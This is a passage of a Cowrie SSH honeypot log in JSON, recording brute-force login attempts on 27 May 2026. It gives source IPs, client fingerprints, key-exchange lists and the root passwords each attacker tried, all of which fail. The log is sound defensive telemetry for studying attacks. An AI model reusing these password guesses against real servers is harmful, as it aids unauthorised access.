langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:23.485804Z","src_ip":"190.129.122.185","session":"53ff77a6a632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome@2025","message":"login attempt [root/welcome@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:24.160021Z","src_ip":"190.129.122.185","session":"53ff77a6a632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:25.324121Z","src_ip":"190.129.122.185","session":"53ff77a6a632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":33580,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f5c4c0ce1ff","protocol":"ssh","message":"New connection: 203.161.39.233:33580 (159.203.135.109:22) [session: 2f5c4c0ce1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:56.360986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:56.365257Z","src_ip":"203.161.39.233","session":"2f5c4c0ce1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:56.434818Z","src_ip":"203.161.39.233","session":"2f5c4c0ce1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123$","message":"login attempt [root/qwert123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:56.744946Z","src_ip":"203.161.39.233","session":"2f5c4c0ce1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:57.819155Z","src_ip":"203.161.39.233","session":"2f5c4c0ce1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59202,"dst_ip":"10.17.0.5","dst_port":22,"session":"95f1b7d861b9","protocol":"ssh","message":"New connection: 62.133.62.83:59202 (10.17.0.5:22) [session: 95f1b7d861b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:05.796042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:05.801568Z","src_ip":"62.133.62.83","session":"95f1b7d861b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:05.881124Z","src_ip":"62.133.62.83","session":"95f1b7d861b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kirik26trimyasov","message":"login attempt [root/kirik26trimyasov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:06.122033Z","src_ip":"62.133.62.83","session":"95f1b7d861b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36506,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eac235bc394","protocol":"ssh","message":"New connection: 80.66.85.226:36506 (159.203.135.109:22) [session: 9eac235bc394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:06.356194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:06.360469Z","src_ip":"80.66.85.226","session":"9eac235bc394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:06.471533Z","src_ip":"80.66.85.226","session":"9eac235bc394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tolya11","message":"login attempt [root/tolya11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:06.741371Z","src_ip":"80.66.85.226","session":"9eac235bc394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:07.207367Z","src_ip":"62.133.62.83","session":"95f1b7d861b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:07.834293Z","src_ip":"80.66.85.226","session":"9eac235bc394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54522,"dst_ip":"10.17.0.5","dst_port":22,"session":"eab8ca81a9d3","protocol":"ssh","message":"New connection: 103.77.175.15:54522 (10.17.0.5:22) [session: eab8ca81a9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:18.203882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:18.211367Z","src_ip":"103.77.175.15","session":"eab8ca81a9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:18.462260Z","src_ip":"103.77.175.15","session":"eab8ca81a9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johncena","message":"login attempt [root/johncena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:19.209522Z","src_ip":"103.77.175.15","session":"eab8ca81a9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:20.460431Z","src_ip":"103.77.175.15","session":"eab8ca81a9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":37208,"dst_ip":"10.17.0.5","dst_port":22,"session":"b787ca8114ba","protocol":"ssh","message":"New connection: 103.107.60.45:37208 (10.17.0.5:22) [session: b787ca8114ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:30.078160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:30.085566Z","src_ip":"103.107.60.45","session":"b787ca8114ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:30.308250Z","src_ip":"103.107.60.45","session":"b787ca8114ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcasd123","message":"login attempt [root/Zxcasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:31.203467Z","src_ip":"103.107.60.45","session":"b787ca8114ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:52:32.423656Z","src_ip":"103.107.60.45","session":"b787ca8114ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":49292,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaad143df7e8","protocol":"ssh","message":"New connection: 190.129.122.185:49292 (159.203.135.109:22) [session: aaad143df7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:06.906184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:06.911429Z","src_ip":"190.129.122.185","session":"aaad143df7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:07.080694Z","src_ip":"190.129.122.185","session":"aaad143df7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:07.789127Z","src_ip":"190.129.122.185","session":"aaad143df7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:08.965355Z","src_ip":"190.129.122.185","session":"aaad143df7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":53790,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d29a2a8fd6","protocol":"ssh","message":"New connection: 203.161.39.233:53790 (159.203.135.109:22) [session: 88d29a2a8fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:24.572201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:24.578023Z","src_ip":"203.161.39.233","session":"88d29a2a8fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:24.651634Z","src_ip":"203.161.39.233","session":"88d29a2a8fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin123","message":"login attempt [root/@Dmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:24.967368Z","src_ip":"203.161.39.233","session":"88d29a2a8fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:53:26.042679Z","src_ip":"203.161.39.233","session":"88d29a2a8fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":57464,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cbb09aaa07f","protocol":"ssh","message":"New connection: 193.228.128.84:57464 (159.203.135.109:22) [session: 4cbb09aaa07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:06.501008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:06.507251Z","src_ip":"193.228.128.84","session":"4cbb09aaa07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:06.609876Z","src_ip":"193.228.128.84","session":"4cbb09aaa07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danila123","message":"login attempt [root/danila123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:06.922977Z","src_ip":"193.228.128.84","session":"4cbb09aaa07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:08.029974Z","src_ip":"193.228.128.84","session":"4cbb09aaa07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":40304,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e0fddabcdd8","protocol":"ssh","message":"New connection: 103.173.227.57:40304 (159.203.135.109:22) [session: 7e0fddabcdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:17.396758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:54:17.402084Z","src_ip":"103.173.227.57","session":"7e0fddabcdd8","protocol":"ssh"}
